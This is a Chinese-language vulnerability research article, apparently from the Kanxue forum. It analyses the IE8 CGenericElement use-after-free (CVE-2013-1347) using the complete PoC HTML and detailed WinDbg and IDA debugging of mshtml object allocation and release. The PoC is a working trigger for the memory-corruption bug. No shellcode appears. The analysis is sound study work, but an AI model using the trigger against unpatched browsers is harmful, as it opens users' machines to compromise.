查看原文
其他

超级长的IE调试总结:CVE-2013-1347 IE CGenericElement UAF漏洞分析

LarryS 看雪学苑 2022-07-01


本文为看雪论坛精华文章
看雪论坛作者ID:LarryS


1


前言


原本说这周(写下这段文字的时候已经是上周了)要看UAF漏洞如何利用的,结果《漏洞战争》中的第一个UAF漏洞是FireFox中的,由于版本太老,Firefox已经不提供symbols了,所以我选择调试第二个漏洞,然后就陷入了IE的大坑。
 
最终的这篇文章主要集中在了如何对IE进行调试上,按照Poc代码的流程详细分析了IE怎样完成相关操作,并通过删除关键代码,对比调试确定代码作用。最后在漏洞利用上,也对示例代码进行了调试,分析确定了exploit可以发生的原因。文章最后并没有涉及到真正的shellcode,因为那已经是堆喷射和ROP的技术了(而且这个漏洞分析真的花费了太长时间)。


2


调试代码


<!doctype html> <!-- required --><HTML><head></head><body><ttttt:whatever id="myanim"/><!-- required format --><script> f0=document.createElement('span'); document.body.appendChild(f0); f1=document.createElement('span'); document.body.appendChild(f1); f2=document.createElement('span'); document.body.appendChild(f2); document.body.contentEditable="true"; f2.appendChild(document.createElement('datalist')); //has to be a data list f1.appendChild(document.createElement('table')); //has to be a table try{ f0.offsetParent=null; //required }catch(e){ } f2.innerHTML=""; //required f0.appendChild(document.createElement('hr')); //required f1.innerHTML=""; //required CollectGarbage();</script></body></html>



3


试分析


3.1 环境


IE版本:8.0.7600.16385
 
操作系统:Win 7 64位专业版
 
Windbg版本:Windbg 6.12 x86


3.2 定位漏洞对象


使用IE打开poc文件之后,由于安全设置的缘故,js代码并没有执行,这时用windbg附加到IE进程上,然后右键“允许阻止的内容”,此时进程中断:
0:013> gModLoad: 73090000 73142000 C:\Windows\SysWOW64\jscript.dll(5a0.3d8): Access violation - code c0000005 (first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.eax=72a4a570 ebx=04ccc3a8 ecx=0073c538 edx=4d3b1874 esi=02f5ead0 edi=00000000eip=4d3b1874 esp=02f5eaa0 ebp=02f5eabc iopl=0 nv up ei pl zr na pe nccs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=000102464d3b1874 ?? ???

可以看到进程执行到了4d3b1874这里:
0:005> !address 4d3b1874 Failed to map Heaps (error 80004005)Usage: FreeBase Address: 07515000End Address: 5fff0000Region Size: 58adb000Type: 00000000 State: 00010000 MEM_FREEProtect: 00000001 PAGE_NOACCESS

这个地址没有任何访问权限,看一下函数调用栈的情况:
0:005> kbChildEBP RetAddr Args to Child WARNING: Frame IP not in any known module. Following frames may be wrong.02f5ea9c 72adc407 72b05961 02f5edec 04ccc3a8 0x4d3b187402f5eaa0 72b05961 02f5edec 04ccc3a8 00000000 mshtml!CElement::Doc+0x702f5eabc 72b0586d 04ccc3a8 02f5edec 04ccc3a8 mshtml!CTreeNode::ComputeFormats+0xba02f5ed68 72b0a12d 04ccc3a8 04ccc3a8 02f5ed88 mshtml!CTreeNode::ComputeFormatsHelper+0x4402f5ed78 72b0a0ed 04ccc3a8 04ccc3a8 02f5ed98 mshtml!CTreeNode::GetFancyFormatIndexHelper+0x1102f5ed88 72b0a0d4 04ccc3a8 04ccc3a8 02f5eda4 mshtml!CTreeNode::GetFancyFormatHelper+0xf02f5ed98 7298b9c4 04ccc3a8 02f5edb4 7298ba2c mshtml!CTreeNode::GetFancyFormat+0x3502f5eda4 7298ba2c 00000000 04ccc3a8 02f5edc4 mshtml!ISpanQualifier::GetFancyFormat+0x5a02f5edb4 729fc009 00000000 007a58a0 02f5edfc mshtml!SLayoutRun::HasInlineMbp+0x1002f5edc4 72a0b4e5 00000000 00000000 007a58a0 mshtml!SRunPointer::HasInlineMbp+0x5602f5edfc 72a0b575 02f5ee1b 00000000 00000000 mshtml!CLayoutBlock::GetIsEmptyContent+0xf202f5ee34 72bd44f0 02f5ee9f 02f5eeb3 007e03b0 mshtml!CLayoutBlock::GetIsEmptyContent+0x3f......

此时的返回地址是72adc407,看一下这之前的代码:
0:005> ub 72adc407mshtml!CElement::SecurityContext+0x29:72adc3fb 90 nop72adc3fc 90 nop72adc3fd 90 nop72adc3fe 90 nop72adc3ff 90 nopmshtml!CElement::Doc:72adc400 8b01 mov eax,dword ptr [ecx]72adc402 8b5070 mov edx,dword ptr [eax+70h]72adc405 ffd2 call edx

这是一个很典型的获取对象虚表指针,然后根据偏移调用对应虚函数的结构。ecx中保存了this指针,eax获取虚表指针,调用了偏移0x70处的虚函数。为了获取更多信息,可以开启页堆试一下:
C:\Users\test>"C:\Program Files (x86)\Debugging Tools for Windows (x86)\gflags.exe" -i iexplore.exe +hpaCurrent Registry Settings for iexplore.exe executable are: 02000000 hpa - Enable page heap

再次开始调试,这次程序断在了刚刚访问ecx寄存器的时候:
0:013> gModLoad: 71c90000 71d42000 C:\Windows\SysWOW64\jscript.dll(26c.904): Access violation - code c0000005 (first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.eax=723d5100 ebx=0d340fb0 ecx=0d222fc8 edx=00000000 esi=0862eb80 edi=00000000eip=7205c400 esp=0862eb54 ebp=0862eb6c iopl=0 nv up ei pl zr na pe nccs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246mshtml!CElement::Doc:7205c400 8b01 mov eax,dword ptr [ecx] ds:002b:0d222fc8=????????
0:005> !heap -p -a ecx address 0d222fc8 found in _DPH_HEAP_ROOT @ 4d1000 in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize) be01958: d222000 2000 746790b2 verifier!AVrfDebugPageHeapFree+0x000000c2 77140acc ntdll!RtlDebugFreeHeap+0x0000002f 770fa967 ntdll!RtlpFreeHeap+0x0000005d 770a32f2 ntdll!RtlFreeHeap+0x00000142 74eb14d1 kernel32!HeapFree+0x00000014 71eeb9a8 mshtml!CGenericElement::`scalar deleting destructor'+0x0000003d 72067dd0 mshtml!CBase::SubRelease+0x00000022 7205c482 mshtml!CElement::PrivateRelease+0x0000002a 7205b034 mshtml!PlainRelease+0x00000025 720b669d mshtml!PlainTrackerRelease+0x00000014 71c9a6f1 jscript!VAR::Clear+0x0000005f 71cb6d66 jscript!GcContext::Reclaim+0x000000b6 71cb4309 jscript!GcContext::CollectCore+0x00000123 71d18572 jscript!JsCollectGarbage+0x0000001d 71ca74ac jscript!NameTbl::InvokeInternal+0x00000141......

根据上面得到的堆信息,进程引用了已经释放的空间,这块空间是通过垃圾回收机制删除的CGenericElement对象。


3.3 javascript代码的简单理解


了解了异常发生的基本原因,我希望先对poc.html中的javascript代码有一个初步的理解,方便明确接下来的分析方向。
 
下面是我对代码的进一步注释,在这一过程中尝试对某些语句进行删除,重新验证异常是否会出现。
f0=document.createElement('span'); document.body.appendChild(f0); f1=document.createElement('span'); document.body.appendChild(f1); f2=document.createElement('span'); document.body.appendChild(f2); document.body.contentEditable="true"; f2.appendChild(document.createElement('datalist')); //has to be a data list f1.appendChild(document.createElement('table')); //has to be a table // 到此为止,上面的代码都是在创建元素,以及向DOM树中增添元素 try{ f0.offsetParent=null; //这句一定要有,且位置不能变 }catch(e){ } f2.innerHTML=""; //required f0.appendChild(document.createElement('hr')); //required f1.innerHTML=""; //required 以上三句的顺序可以打乱 CollectGarbage(); //最后异常发生在这之后

根据以上调试得到的结果,存在以下几个问题:

1、document.createElement和appendChild究竟干了些什么,是不是在堆中创建了空间?

2、设置offsetParent=null在底层上对之前创建的堆块空间有什么影响?

3、最后设置innerHTML以及创建hr元素的时候又在内存中发生了什么?

4、datalist以及table和其他类型有什么区别,为什么一定非它不可?

5、(后来发现我这一点搞错了)


3.4 IE中javascript代码的调试


基于以上提出的问题,进行下一步对javascript代码的调试。首先需要找到对应的DLL文件中的函数是什么。
 
CVE-2011-0027的整数溢出漏洞的分析过程中,书中提到了一个确定和recordset相关的IE函数的方法,需要到https://www.geoffchappell.com上去搜索。使用这个方法可以找到CDocument类中的createElement函数。
 
除此之外,在此次漏洞分析中,书中也写到了可以直接在windbg中对函数进行搜索。具体使用哪种方法还需要结合上下文,以及搜索结果进行选择。

3.4.1 createElement的流程


按照书中所说,搜索mshtml!*document*createElement*
0:005> x mshtml!*document*createElement*71fa1dae mshtml!CDocument::createElement = <no type information>72070a40 mshtml!s_methdescCDocumentcreateElement = <no type information>71fa1e07 mshtml!CDocument::CreateElementHelper = <no type information>

先看第一个函数,在IDA中打开mshtml.dll并找到对应函数。
 
之后是一系列CreateElement函数的调用:
CDocument::createElement → CDocument::CreateElementHelper → CMarkup::CreateElement → CreateElement

直接在CMarkup::CreateElement处下断点,根据IDA中CreateElement调用位置,在windbg中下断点:
0:013> gModLoad: 71680000 71732000 C:\Windows\SysWOW64\jscript.dllBreakpoint 0 hiteax=00000000 ebx=0837f0ec ecx=0be00fc8 edx=00000017 esi=0837ebc0 edi=0be00fc8eip=7201c9b5 esp=0837eb8c ebp=0837eba8 iopl=0 nv up ei pl zr na pe nccs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246mshtml!CMarkup::CreateElement:7201c9b5 8bff mov edi,edi0:005> bp 7201ca580:005> gBreakpoint 1 hiteax=0837ebc0 ebx=00000004 ecx=0d4c4f30 edx=0bd01680 esi=08c3c630 edi=0837eb18eip=7201ca58 esp=0837eaf0 ebp=0837eb88 iopl=0 nv up ei pl nz na pe nccs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206mshtml!CMarkup::CreateElement+0x2df:7201ca58 e85381fcff call mshtml!CreateElement (71fe4bb0)

步入之后很快能到达下面的代码位置:
71fe4bcc 0fb64701 movzx eax,byte ptr [edi+1]71fe4bd0 c1e004 shl eax,471fe4bd3 05709a0772 add eax,offset mshtml!g_atagdesc (72079a70)71fe4bd8 0f84b34e1500 je mshtml!CreateElement+0x2b (72139a91) [br=0]

其中mshtml!g_atagdesc是一系列函数的索引表:
0:005> dds 72079a7072079a70 71eaa6d4 mshtml!`string'72079a74 7207a510 mshtml!g_pmiTextPlain+0x472079a78 722a8d29 mshtml!CTextElement::CreateElement72079a7c 0000000172079a80 71eaa6d4 mshtml!`string'72079a84 7207a320 mshtml!s_hpcUnknown72079a88 71fb310e mshtml!CUnknownElement::CreateElement72079a8c 2000000172079a90 72065738 mshtml!g_tagascA2+0x872079a94 7207ab68 mshtml!g_entascsup2+0x1472079a98 72002a0f mshtml!CAnchorElement::CreateElement72079a9c 0000000072079aa0 72065744 mshtml!g_tagascABBR3+0x872079aa4 7207a630 mshtml!g_pmiImagePlug+0xb472079aa8 72019f4b mshtml!CPhraseElement::CreateElement72079aac 0000002072079ab0 72065758 mshtml!g_tagascACRONYM4+0x872079ab4 7207a630 mshtml!g_pmiImagePlug+0xb472079ab8 72019f4b mshtml!CPhraseElement::CreateElement72079abc 0000002072079ac0 72065778 mshtml!g_tagascADDRESS5+0x872079ac4 7207ac40 mshtml!g_entascmicro+0x1472079ac8 71ef41f7 mshtml!CBlockElement::CreateElement72079acc 0008004272079ad0 72065790 mshtml!g_tagascAPPLET6+0x872079ad4 7207af58 mshtml!g_entascEuml203+0x1472079ad8 71f51d8b mshtml!CObjectElement::CreateElement......

edi寄存器中保存了该索引表的偏移,最终得到函数CSpanElement::CreateElement的地址,并进行了调用:
代码:71fe4bde 8b4008 mov eax,dword ptr [eax+8]71fe4be1 8d4d10 lea ecx,[ebp+10h]71fe4be4 51 push ecx71fe4be5 52 push edx71fe4be6 57 push edi71fe4be7 ffd0 call eax {mshtml!CSpanElement::CreateElement (71f9b07a)} windbg输出:0:005> peax=71f9b07a ebx=72058308 ecx=0837eaf8 edx=0bd01680 esi=08c3c630 edi=0837eb18eip=71fe4be7 esp=0837eac4 ebp=0837eae8 iopl=0 nv up ei pl nz na po nccs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202mshtml!CreateElement+0x41:71fe4be7 ffd0 call eax {mshtml!CSpanElement::CreateElement (71f9b07a)}

在IDA中看一下这个函数干了什么:
unsigned int __stdcall CSpanElement::CreateElement(struct CHtmTag *a1, struct CDoc *a2, struct CElement **a3){ struct CElement *v3; // esi struct CElement *v4; // eax v3 = (struct CElement *)HeapAlloc(g_hProcessHeap, 8u, 0x28u); if ( v3 ) { CElement::CElement(91, a2); *(_DWORD *)v3 = &CSpanElement::`vftable'; v4 = v3; } else { v4 = 0; } *a3 = v4; return v4 != 0 ? 0 : 0x8007000E;}

可以看到这个函数通过HeapAlloc分配了大小为0x28个字节的空间,然后调用了CElement::CElement创建元素,并将相关数据写入到分配的空间中。
 
CElement::CElement 的内容:
int __userpurge CElement::CElement@<eax>(int a1@<eax>, CBase *a2@<ecx>, char a3, _DWORD *a4){ CElement *v5; // ecx struct CSecurityContext *v7; // [esp+0h] [ebp-Ch] CBase::CBase(a2); *(_DWORD *)(a1 + 36) = 0; *(_DWORD *)a1 = &CElement::`vftable'; (*(void (__thiscall **)(_DWORD *))(*a4 + 112))(a4); CElement::ReplaceSecurityContext(v5, v7); a4[2] += 8; _IncrementObjectCount(); *(_DWORD *)(a1 + 28) &= 0xFFFBFFFF; *(_BYTE *)(a1 + 32) &= 0xFEu; *(_BYTE *)(a1 + 24) = a3; return a1;}

eax寄存器指向的是之前HeapAlloc分配的空间,可以看到这个函数在向这个空间填入数据,最后将其作为返回值返回。
 
总结一下,createElement的流程如下:
mshtml!CDocument::createElement ->mshtml!CDocument::CreateElementHelper ->mshtml!CMarkup::CreateElement ->mshtml!CreateElement -> // 具体偏移位置为0x41mshtml!C***Element::CreateElement ->mshtml!CElement::CElement // ret语句在偏移0x4c处

因此我们可以通过在mshtml!CreateElement和mshtml!CElement::CElement设置断点,获得createElement过程中创建的元素类型以及分配空间的地址及内容:
bu mshtml!CreateElement+0x41 "ln eax;g" // 0x41处调用了具体某个元素的createElement函数,并且eax中保存了该函数地址,这里可以显示元素类型bu mshtml!CElement::CElement+0x4c ".echo '=== CElement ===';dd eax La;g" // 0x4c处执行返回语句,此时eax寄存器中保存了返回值,指向为该元素分配的空间 // 该空间大小为10*4=40=0x28字节,这里显示分配空间的地址及内容

在设置第一个断点的时候,出现了两个函数:
7708000c cc int 30:013> bu mshtml!CreateElement+0x41 "ln eax;g"Matched: 7108d88c mshtml!CreateElement = <no type information>Matched: 71084bb0 mshtml!CreateElement = <no type information>Ambiguous symbol error at 'mshtml!CreateElement+0x41 "ln eax;g"'

我查看了一下汇编代码,在第二个位于71084bb0的函数那里找到了相似代码:
mshtml!CreateElement+0x38:71084bde 8b4008 mov eax,dword ptr [eax+8]71084be1 8d4d10 lea ecx,[ebp+10h]71084be4 51 push ecx71084be5 52 push edx71084be6 57 push edi71084be7 ffd0 call eax

所以选择这个函数设置断点:
0:013> bp 71084be7 "ln eax;g"0:013> bu mshtml!CElement::CElement+0x4c ".echo '=== CElement ===';dd eax La;g"0:013> bl 0 e 71084be7 0001 (0001) 0:**** mshtml!CreateElement+0x41 "ln eax;g" 1 e 7108485b 0001 (0001) 0:**** mshtml!CElement::CElement+0x4c ".echo '=== CElement ===';dd eax La;g"

到此为止,通过分析createElement底层执行的代码,我们已经知道怎样获得函数执行期间创建的堆空间的地址及其内容了。
 
接下来按照同样的方法,确定appendChild这个函数在底层干了什么。

3.4.2 appendChild的底层逻辑


在windbg中搜索和appendChild相关的函数:
0:005> x mshtml!*appendChild*710420c4 mshtml!CElement::appendChild = <no type information>712a6382 mshtml!CAttribute::appendChild = <no type information>712a57e6 mshtml!CDOMTextNode::appendChild = <no type information>71192bc8 mshtml!s_methdescCAttributeappendChild = <no type information>710fe458 mshtml!s_methdescCElementappendChild = <no type information>7104af3c mshtml!CDocument::appendChild = <no type information>

代码中有两类进行appendChild的操作,分别是向body和span元素中添加子元素:
document.body.appendChild(f2);f2.appendChild(document.createElement('datalist'));

从函数名来看,mshtml!CElement::appendChild和mshtml!CDocument::appendChild比较可疑。在IDA中搜索后者,可以发现CDocument::appendChild直接调用了CElement::appendChild。
 
直接在IDA中跟踪一下函数的调用流程,根据函数名称可以大致判断其功能,得到下面的结果:
CDocument::appendChild ->CElement::appendChild ->CElement::insertBefore ->CElement::InsertBeforeHelper ->CElement::GetDOMInsertPosition - InsertDOMNodeHelper ->CDoc::InsertElement ->CMarkup::InsertElementInternal ->(CTreeNode *)HeapAlloc(g_hProcessHeap, 8u, 0x4Cu);

从上面的流程中可以知道,程序是在InsertBeforeHelper中获得了元素在DOM树中的插入位置,然后开始进行插入,最终到达InsertElementInternal函数,才真正在堆中分配一个空间,所有数据的赋值一定是在之后才发生的。
 
根据以上结论,在CMarkup::InsertElementInternal函数设置一个断点,进行详细的调试,判断空间分配后发生的什么。
 
程序断在CMarkup::InsertElementInternal之后,继续步进,到达HeapAlloc函数:
0:005> peax=0d4c4fb0 ebx=00000000 ecx=00000000 edx=00000000 esi=0864ed30 edi=0864ed24eip=72a40ce5 esp=0864ec64 ebp=0864ed00 iopl=0 nv up ei pl nz na po nccs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202mshtml!CMarkup::InsertElementInternal+0x224:72a40ce5 ff15c4129272 call dword ptr [mshtml!_imp__HeapAlloc (729212c4)] ds:002b:729212c4={ntdll!RtlAllocateHeap (7709dec6)}0:005> peax=0d008fb0 ebx=00000000 ecx=770a3b23 edx=00000000 esi=0864ed30 edi=0864ed24eip=72a40ceb esp=0864ec70 ebp=0864ed00 iopl=0 nv up ei pl zr na pe nccs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246mshtml!CMarkup::InsertElementInternal+0x22a:72a40ceb 3bc3 cmp eax,ebx

HeapAlloc分配的空间首地址为eax中的值0d008fb0。
 
当执行完HeapAlloc之后,程序调用CTreeNode::CTreeNode函数创建对应想要添加元素的TreeNode,
72a40cf3 8b7d0c mov edi,dword ptr [ebp+0Ch]72a40cf6 53 push ebx72a40cf7 ff742410 push dword ptr [esp+10h]72a40cfb 8bc8 mov ecx,eax72a40cfd e8cec10a00 call mshtml!CTreeNode::CTreeNode (72aeced0)

之前HeapAlloc创建的空间作为this指针传递给了CTreeNode::CTreeNode函数,并且会作为返回值返回(从IDA中得知)。因此在该函数执行完之后,看一下之前分配的空间:
0:005> ddp eax L50d008fb0 0c56dfd8 72a1b0c8 mshtml!CSpanElement::`vftable'0d008fb4 0d4c4fb0 0d5d4fd00d008fb8 ffff005b0d008fbc ffffffff0d008fc0 00000000

可以看到这次添加的元素是span。
 
也就是说,在进行appendChild操作时,程序会分配一个大小0x4C的空间,该空间用于存储要添加元素的CTreeNode结构,该结构中存储了和要添加的元素有关的信息。
 
还是按照之前分析createElement的方法,在执行完CTreeNode::CTreeNode函数之后的位置设置断点,这次要输出CTreeNode的内容:bu mshtml!CMarkup::InsertElementInternal+0x23d "ddp eax L13;g"
0:014> bu mshtml!CreateElement+0x41 "ln eax;g"Matched: 72a6d88c mshtml!CreateElement = <no type information>Matched: 72a64bb0 mshtml!CreateElement = <no type information>Ambiguous symbol error at 'mshtml!CreateElement+0x41 "ln eax;g"'0:014> bp 72a64bb0+0x37 "ln eax;g"0:014> bu mshtml!CElement::CElement+0x4c ".echo '=== CElement ===';dd eax La;g"0:014> bu mshtml!CMarkup::InsertElementInternal+0x1de".echo '=== CTreeNode ===';ddp eax L13;g"0:014> bl 0 e 72a64be7 0001 (0001) 0:**** mshtml!CreateElement+0x41 "ln eax;g" 1 e 72a6485b 0001 (0001) 0:**** mshtml!CElement::CElement+0x4c ".echo '=== CElement ===';dd eax La;g" 2 e 72a40d02 0001 (0001) 0:**** mshtml!CMarkup::InsertElementInternal+0x23d ".echo '=== CTreeNode ===';ddp eax L13;g"

到目前为止我们已经跟踪了createElement和appendChild的执行流程,知道在哪里设置断点可以获得分配的堆块空间的地址,以及如何显示空间中的内容。
 
接下来就要看poc中剩余的代码对已经分配的这些空间有什么影响了。

3.4.3 offsetParent的影响以及CTreeNode的结构


在调试之前,先看一下offsetParent是什么东西:

那么offsetParent就是距离该子元素最近的进行过定位的父元素(position:absolute relative fixed),如果其父元素中不存在定位则offsetParent为:body元素。
 
因此如果没有设置过这个值,f0的offsetParent应该是body元素,但是在代码中把这个值设置成了null。
 
还是像之前一样,确定一下和offsetParent有关的函数是什么:
0:005> x mshtml!*offsetParent*72d078ec mshtml!CDisplayRequestGetOffsetParent::~CDisplayRequestGetOffsetParent = <no type information>72d078d3 mshtml!CDisplayRequestGetOffsetParent::CDisplayRequestGetOffsetParent = <no type information>72d07d13 mshtml!CDisplayBox::IsOffsetParent = <no type information>729318ba mshtml!CDisplayBox::FindOffsetParent = <no type information>72d079b0 mshtml!CDisplayRequestGetOffsetParent::GetOffsetTopLeft = <no type information>72cfebda mshtml!CLayoutBlock::IsOffsetParent = <no type information>72d07980 mshtml!CDisplayRequestGetOffsetParent::SetOffsetParentDisplayBox = <no type information>72d07911 mshtml!CDisplayRequestGetOffsetParent::OffsetParent = <no type information>729520e1 mshtml!CElement::GetOffsetParentHelper = <no type information>72d084a0 mshtml!CTextDisplayBox::IsOffsetParent = <no type information>72adde34 mshtml!s_propdescCElementoffsetParent = <no type information>72d07998 mshtml!CDisplayRequestGetOffsetParent::SetSourceDisplayBox = <no type information>729521d2 mshtml!CElement::get_offsetParent = <no type information>7293186c mshtml!CDisplayBox::TransformRectToOffsetParent = <no type information>

从函数名来看,有关的函数可能是:
729520e1 mshtml!CElement::GetOffsetParentHelper = <no type information>729521d2 mshtml!CElement::get_offsetParent = <no type information>

在IDA中查找,可以看到后者调用了前者。这样的话,可以直接在CElement::GetOffsetParentHelper设置一个断点,然后查看函数执行前后,目标空间数据的变化情况。
 
根据以上结论,我们可以设置以下断点:
0:013> bu mshtml!CreateElement+0x41 "ln eax;g"Matched: 71fed88c mshtml!CreateElement = <no type information>Matched: 71fe4bb0 mshtml!CreateElement = <no type information>Ambiguous symbol error at 'mshtml!CreateElement+0x41 "ln eax;g"' 0:013> bp 71fe4bb0+0x37 "ln eax;g" // 这里显示创建的元素类型0:013> bu mshtml!CElement::CElement+0x4c ".echo '=celement='; r eax;g" // 这里显示创建元素时分配空间的地址0:013> bu mshtml!CMarkup::InsertElementInternal+0x1de".echo '= CTreeNode =';r eax;g" // 这里显示创建DOM节点时分配空间的地址// 通过以上断点,可以获得和每个元素相关的堆块空间的地址0:013> bu CElement::GetOffsetParentHelper // 程序会断在调用这个函数的时候0:013> bl 0 e 71fe4be7 0001 (0001) 0:**** mshtml!CreateElement+0x41 "ln eax;g" 1 e 71fe485b 0001 (0001) 0:**** mshtml!CElement::CElement+0x4c ".echo '=celement='; r eax;g" 2 e 71fc0d02 0001 (0001) 0:**** mshtml!CMarkup::InsertElementInternal+0x23d ".echo '= CTreeNode =';r eax;g" 3 e 71ed20e1 0001 (0001) 0:**** mshtml!CElement::GetOffsetParentHelper

设置好断点执行,会得到和每个元素相关的堆块空间的地址,然后程序断在CElement::GetOffsetParentHelper的开头。此时我们可以按照dd element_addr la;以及ddp treenode_addr l13;的格式输出所在地址处的数据。
 
之后按Shift+F11跳出当前函数,再次进行一次上面的堆块空间内容的输出,就可以得到函数执行前后,目标空间数据的变化情况了。
 
整理如下:
 
 
首先看一下上图中,程序创建的元素名称,可以看到倒数第二个是CGenericElement元素,还记得我们一开始定位漏洞的位置,根据调试器的输出,已经知道异常产生的原因是一个CGenericElement被释放重引用了,所以之后应该重点关注这个元素对应的堆块空间的变化情况,以及其他元素对于这个元素的引用情况。
 
除此之外,观察上图中同一列数据,根据数值间的关系以及IE5.0源码,可以得出以下结论(仅作参考,帮助分析):

1、CTreeNode(4字节):同一元素CElement地址;

2、CTreeNode+0x4(4字节):父元素CTreeNoe地址;

3、CTreeNode+0x8(2字节):同类型元素相同;

4、CTreeNode+0xC(4字节):根据源码,是SHORT _iCF和SHORT _iFF这两个值,分别表示Char Format和Fancy Format,虽然不知道是什么意思。

5、CTreeNode+0x10, CTreeNode+0x28(24字节):CTreePos结构,里面保存了指向父元素或其他相邻元素的CTreePos结构的指针;

6、CTreeNode+0x44(4字节):CTextBlock结构指针。源码和数值关系都没看出来,最终在windbg中得到了这个值的涵义:0cec1ff4 0d186fa0 71fc6cc8 mshtml!CTextBlock::vftable'`检查了几个不同元素,得到的都是同一结构的指针;

7、CElement+0x14(4字节):同一元素CTreeNode地址;

8、CElement+0x18(2字节):同类型元素相同;


3.4.4 offsetParent与CTextBlock


之后执行的代码是:
f2.innerHTML=""; //requiredf0.appendChild(document.createElement('hr')); //requiredf1.innerHTML=""; //requiredCollectGarbage();

按照相同的方法找到和innerHTML有关的函数,并设置断点:
0:005> x mshtml!*innerHTML*7205d2ec mshtml!s_propdescCElementinnerHTML = <no type information>71fb66c7 mshtml!CElement::get_innerHTML = <no type information>71fa984c mshtml!CElement::put_innerHTML = <no type information>

到目前为止断点设置情况:
0:005> bl 0 e 71fe4be7 0001 (0001) 0:**** mshtml!CreateElement+0x41 "ln eax;g" 1 e 71fe485b 0001 (0001) 0:**** mshtml!CElement::CElement+0x4c ".echo '=celement='; r eax;g" 2 e 71fc0d02 0001 (0001) 0:**** mshtml!CMarkup::InsertElementInternal+0x23d ".echo '= CTreeNode =';r eax;g" 3 e 71ed20e1 0001 (0001) 0:**** mshtml!CElement::GetOffsetParentHelper 4 e 71fa984c     0001 (0001)  0:**** mshtml!CElement::put_innerHTML

最后得到如下图的数据变化情况:
 
 
从上图可以发现:

1、在设置完offsetParent之后,TreeNode中偏移为0x8和0xC两个位置的部分字节数据出现了变化,但是清空f2的innerHTML之后又改了回来。

2、除了上一点,在CTreeNode+0x44的位置,数值也发生了明显的变化。

3、在清空f2的innerHTML之后,CGenericElement的TreeNode中保存的父元素TreeNode地址就清零了;同时CElement中保存的同一元素TreeNode地址也清零了,但是TreeNode中保存的同一元素CElement地址仍旧存在。


我觉得第2点中存在的现象肯定是有一些问题的,CElement和TreeNode之间的联系被单方面中断了,这就导致最后垃圾回收之后,TreeNode那里的数据完全没变化。而且第1点中变化的那几个字节的具体作用目前也不清楚,不知道是不是和这个漏洞有关系。
 
关于第一点,我在下一小节进行了调试,先来看第二点。仔细查看一下CTreeNode+0x44这个位置的值是什么意思:
0:005> ddp 0cec1fb0+0x44 l10cec1ff4 0c53ffa0 71fc6cc8 mshtml!CTextBlock::`vftable'

注:因为多次调试,这里的值发生了变化。
 
所以这个位置保存了一个指向CTextBlock的指针,而执行完f0.offsetParent=null;之后,CGenericElement的CTreeNode里面就多出来了一个CTextBlock,我们设置一个断点看一下是怎么来的:
0:005> ba r4 0cec1fb0+440:005> gBreakpoint 4 hiteax=00000000 ebx=0849e6fc ecx=00000000 edx=00000000 esi=0cec1fb0 edi=0cef7fa0eip=720c0553 esp=0849cfd4 ebp=0849cfe8 iopl=0 nv up ei pl zr na pe nccs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246mshtml!CTreeNode::SetLayoutBlock+0x3:720c0553 3bcf cmp ecx,edi

看一下函数调用流程:
0:005> kbChildEBP RetAddr Args to Child 0849cfd0 71f11243 ffffffff ffffffff 00000002 mshtml!CTreeNode::SetLayoutBlock+0x30849cfe8 71f8c4f7 0cef7fa0 00000002 0849e6f4 mshtml!CTextBlock::BuildSpanBeginRun+0x4a0849e704 71f8b667 0cef7fa0 0d25cf30 0d140fd8 mshtml!CTextBlock::BuildTextBlock+0xaeb0849e748 71f68f0a 0d25cf30 0d140fd8 0d29afc8 mshtml!CLayoutBlock::BuildBlock+0x1ec0849e7c8 71f68c83 0d29afc8 0d25cf30 0d140fd8 mshtml!CBlockContainerBlock::BuildBlockContainer+0x59d0849e800 71f68f0a 0d25cf30 0cf00fd8 0c186fc8 mshtml!CLayoutBlock::BuildBlock+0x1c10849e880 71f68c83 0c186fc8 0d25cf30 0cf00fd8 mshtml!CBlockContainerBlock::BuildBlockContainer+0x59d0849e8b8 71f68f0a 0d25cf30 0cbddfd8 0c049fc8 mshtml!CLayoutBlock::BuildBlock+0x1c10849e938 71f68c83 0c049fc8 0d25cf30 0cbddfd8 mshtml!CBlockContainerBlock::BuildBlockContainer+0x59d0849e970 71f69af4 0d25cf30 00000000 00000000 mshtml!CLayoutBlock::BuildBlock+0x1c10849ea34 71f6a4f5 0125cf30 0c16afa8 0849ea5b mshtml!CCssDocumentLayout::GetPage+0x22a0849eba4 7208cc48 0849ed68 0849ed00 00000000 mshtml!CCssPageLayout::CalcSizeVirtual+0x2470849ecdc 720bce63 0c16afa8 00000000 00000000 mshtml!CLayout::CalcSize+0x2b80849edd8 71fcaa21 00100000 0849ee30 0cee8fd8 mshtml!CLayout::DoLayout+0x11d0849edec 72067515 0849ee30 0849ee30 7208c20c mshtml!CCssPageLayout::Notify+0x1400849edf8 7208c20c 00000000 0cf00fb0 00000000 mshtml!NotifyElement+0x410849ee0c 7208c108 0849ee30 0cf00fb0 00000000 mshtml!NotifyTreeNode+0x630849ee64 7206730e 0849eef8 0bd7f680 0849eef8 mshtml!NotifyAncestors+0x1b70849eebc 7206727c 0c6e0f30 00000000 0bd7f744 mshtml!CMarkup::SendNotification+0x920849eee4 7208c06c 0849eef8 0bd7f870 ffffffff mshtml!CMarkup::Notify+0xd60849ef2c 720f7e44 0000000f 00000000 00000000 mshtml!CElement::SendNotification+0x4a0849ef54 72119b0d 0bd5dfd8 00000001 0849f030 mshtml!CElement::EnsureRecalcNotify+0x15f0849ef94 71ed21fc 00000000 00001200 723d8ba0 mshtml!CElement::GetOffsetParentHelper+0x600849efa8 720dde50 0bd5dfd8 0849f030 00000000 mshtml!CElement::get_offsetParent+0x30...

也就是说IE在设置完offsetParent之后进行了一次渲染。在IDA中看一下CTreeNode::SetLayoutBlock的代码:
